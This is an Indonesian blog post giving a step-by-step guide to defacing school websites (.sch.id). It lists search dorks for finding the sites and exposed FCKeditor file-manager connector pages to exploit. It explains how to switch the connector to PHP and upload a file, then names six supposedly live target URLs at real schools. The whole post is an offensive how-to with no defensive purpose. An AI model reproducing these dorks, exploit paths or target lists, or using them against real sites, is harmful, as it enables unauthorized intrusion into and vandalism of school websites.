Cara Deface Website Sekolah [sch.id]

by Unknown , at 01.35 , have 0 komentar

1. Siapkan file txt di desain yah..:D.
2. Dork:

inurl:/html/siswa.php?
inurl:/html/alumni.php?
inurl:/html/guru.php?

3. Exploit: /editor/filemanager/connectors/test.html
/editor/filemanager/connectors/uploadtest.html

*Pakai salah satu Exploitnya*

EX:

http://xxx.sch.id/html/siswa.php
http://xxx.sch.id/html/almni.php
http://xxx.sch.id/html/guru.php

*Sesuai Dork.
Ganti jadi:

http://xxxx.sch.id/editor/filemanager/connectors/uploadtest.html

4. Ganti ASP jadi PHP.

5. Browse file txt yang sudah disiapkan -> open -> upload.

6. Hasilnya: http://xxx.sch.id/userfiles/file/nama-file.txt
live target :
http://sdia20.sch.id/simk/atk/attributes/fck/editor/filemanager/connectors/test.html
http://www.e-learning.smpbatikska.sch.id/editor/filemanager/connectors/test.html
http://sman1kotabaru.sch.id/editor/filemanager/connectors/test.html
http://smansa-pringsewu.sch.id/editor/filemanager/connectors/test.html
http://www.smkn1kuta.sch.id/editor/filemanager/connectors/test.html
http://smp1ponjong.sch.id/editor/filemanager/connectors/test.html

Cara Deface Website Sekolah [sch.id] - written by Unknown , published at 01.35, categorized as Deface . And have 0 komentar

Facebook Twitter Google+ Linkedin Technorati Digg